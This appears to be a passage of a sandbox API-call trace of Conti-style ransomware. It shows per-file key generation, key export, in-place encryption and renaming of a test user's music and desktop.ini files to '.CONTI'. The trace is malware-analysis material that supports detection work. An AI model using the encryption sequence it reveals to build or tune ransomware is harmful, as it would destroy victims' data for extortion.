	[0140.842] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0140.842] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b53de0 | out: phKey=0x6b53de0*=0x6b7f278) returned 1
	[0140.842] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53de4, pdwDataLen=0x4bffe94 | out: pbData=0x6b53de4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0140.843] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini")) returned 0x26
	[0140.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0140.843] GetLastError () returned 0x0
	[0140.843] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=402) returned 1
	[0140.843] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x192
	[0140.843] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.843] SetEndOfFile (hFile=0x43c) returned 1
	[0140.845] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.845] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.845] WriteFile (in: hFile=0x43c, lpBuffer=0x6b53de4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b53de4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.854] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.854] ReadFile (in: hFile=0x43c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x192, lpOverlapped=0x0) returned 1
	[0140.854] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x192, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1a0) returned 1
	[0140.854] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.855] WriteFile (in: hFile=0x43c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1a0, lpOverlapped=0x0) returned 1
	[0140.855] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.855] WriteFile (in: hFile=0x43c, lpBuffer=0x6b53dd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b53dd8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0140.855] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.855] CloseHandle (hObject=0x43c) returned 1
	[0140.855] GetProcessHeap () returned 0x1720000
	[0140.855] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.855] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Favorites\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Favorites\\desktop.ini") returned="C:\\Users\\FD1HVy\\Favorites\\desktop.ini"
	[0140.855] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Favorites\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Favorites\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Favorites\\desktop.ini.CONTI"
	[0140.855] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Favorites\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Favorites\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini.conti")) returned 1
	[0140.855] GetProcessHeap () returned 0x1720000
	[0140.855] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.855] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0140.856] GetProcessHeap () returned 0x1720000
	[0140.856] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bef18 | out: hHeap=0x1720000) returned 1
	[0140.856] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0140.856] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b4dbc8 | out: phKey=0x6b4dbc8*=0x6b7f278) returned 1
	[0140.856] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4dbcc, pdwDataLen=0x4bffe94 | out: pbData=0x6b4dbcc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0140.856] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav" (normalized: "c:\\users\\fd1hvy\\music\\5jqystldzrvb.wav")) returned 0x20
	[0140.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav" (normalized: "c:\\users\\fd1hvy\\music\\5jqystldzrvb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0140.857] GetLastError () returned 0x0
	[0140.857] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=21339) returned 1
	[0140.857] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x535b
	[0140.857] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.857] SetEndOfFile (hFile=0x43c) returned 1
	[0140.857] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.857] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.857] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4dbcc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbcc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.861] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.862] ReadFile (in: hFile=0x43c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x535b, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x535b, lpOverlapped=0x0) returned 1
	[0140.866] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x535b, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x5360) returned 1
	[0140.866] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.866] WriteFile (in: hFile=0x43c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x5360, lpOverlapped=0x0) returned 1
	[0140.867] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.867] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4dbc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbc0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0140.867] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.867] CloseHandle (hObject=0x43c) returned 1
	[0140.867] GetProcessHeap () returned 0x1720000
	[0140.867] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.867] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav") returned="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav"
	[0140.867] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav.CONTI"
	[0140.867] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav" (normalized: "c:\\users\\fd1hvy\\music\\5jqystldzrvb.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\5JqysTLdzRVb.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\5jqystldzrvb.wav.conti")) returned 1
	[0140.868] GetProcessHeap () returned 0x1720000
	[0140.868] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.868] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0140.868] GetProcessHeap () returned 0x1720000
	[0140.868] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf078 | out: hHeap=0x1720000) returned 1
	[0140.868] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0140.868] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f050 | out: phKey=0x6b4f050*=0x6b7f278) returned 1
	[0140.868] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f054, pdwDataLen=0x4bffe94 | out: pbData=0x6b4f054*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0140.869] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9j3nhcrdjzjtnuj35o.m4a")) returned 0x20
	[0140.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9j3nhcrdjzjtnuj35o.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0140.869] GetLastError () returned 0x0
	[0140.869] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=20189) returned 1
	[0140.869] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4edd
	[0140.869] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.869] SetEndOfFile (hFile=0x43c) returned 1
	[0140.869] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.869] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.869] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4f054*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f054*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.872] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.872] ReadFile (in: hFile=0x43c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x4edd, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x4edd, lpOverlapped=0x0) returned 1
	[0140.876] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x4edd, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x4ee0) returned 1
	[0140.876] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.876] WriteFile (in: hFile=0x43c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x4ee0, lpOverlapped=0x0) returned 1
	[0140.876] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.876] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4f048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b4f048*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0140.877] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.877] CloseHandle (hObject=0x43c) returned 1
	[0140.877] GetProcessHeap () returned 0x1720000
	[0140.877] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.877] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a") returned="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a"
	[0140.877] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a.CONTI"
	[0140.877] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9j3nhcrdjzjtnuj35o.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9J3NhcrdJzJtNuj35o.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\9j3nhcrdjzjtnuj35o.m4a.conti")) returned 1
	[0140.877] GetProcessHeap () returned 0x1720000
	[0140.877] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.877] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0140.877] GetProcessHeap () returned 0x1720000
	[0140.877] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb880 | out: hHeap=0x1720000) returned 1
	[0140.878] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0140.878] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b450a0 | out: phKey=0x6b450a0*=0x6b7f278) returned 1
	[0140.878] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b450a4, pdwDataLen=0x4bffe94 | out: pbData=0x6b450a4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0140.878] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini")) returned 0x26
	[0140.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0140.879] GetLastError () returned 0x0
	[0140.879] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=504) returned 1
	[0140.879] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f8
	[0140.879] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.879] SetEndOfFile (hFile=0x43c) returned 1
	[0140.880] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.880] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.880] WriteFile (in: hFile=0x43c, lpBuffer=0x6b450a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b450a4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.886] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.886] ReadFile (in: hFile=0x43c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1f8, lpOverlapped=0x0) returned 1
	[0140.886] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1f8, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x200) returned 1
	[0140.886] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.886] WriteFile (in: hFile=0x43c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x200, lpOverlapped=0x0) returned 1
	[0140.886] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.886] WriteFile (in: hFile=0x43c, lpBuffer=0x6b45098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b45098*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0140.886] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.887] CloseHandle (hObject=0x43c) returned 1
	[0140.887] GetProcessHeap () returned 0x1720000
	[0140.887] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.887] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Music\\desktop.ini") returned="C:\\Users\\FD1HVy\\Music\\desktop.ini"
	[0140.887] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Music\\desktop.ini.CONTI"
	[0140.887] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini.conti")) returned 1
	[0140.887] GetProcessHeap () returned 0x1720000
	[0140.887] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.887] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0140.887] GetProcessHeap () returned 0x1720000
	[0140.887] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d378 | out: hHeap=0x1720000) returned 1
	[0140.887] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0140.887] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b44c10 | out: phKey=0x6b44c10*=0x6b7f278) returned 1
	[0140.887] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44c14, pdwDataLen=0x4bffe94 | out: pbData=0x6b44c14*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0140.888] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav" (normalized: "c:\\users\\fd1hvy\\music\\ickuew0xcy.wav")) returned 0x20
	[0140.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav" (normalized: "c:\\users\\fd1hvy\\music\\ickuew0xcy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0140.888] GetLastError () returned 0x0
	[0140.889] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=12339) returned 1
	[0140.889] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3033
	[0140.889] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.889] SetEndOfFile (hFile=0x43c) returned 1
	[0140.889] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.889] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.889] WriteFile (in: hFile=0x43c, lpBuffer=0x6b44c14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b44c14*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.891] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.891] ReadFile (in: hFile=0x43c, lpBuffer=0xda50000, nNumberOfBytesToRead=0x3033, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x3033, lpOverlapped=0x0) returned 1
	[0140.896] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x3033, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x3040) returned 1
	[0140.896] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.896] WriteFile (in: hFile=0x43c, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x3040, lpOverlapped=0x0) returned 1
	[0140.896] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.896] WriteFile (in: hFile=0x43c, lpBuffer=0x6b44c08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b44c08*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0140.897] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.897] CloseHandle (hObject=0x43c) returned 1
	[0140.897] GetProcessHeap () returned 0x1720000
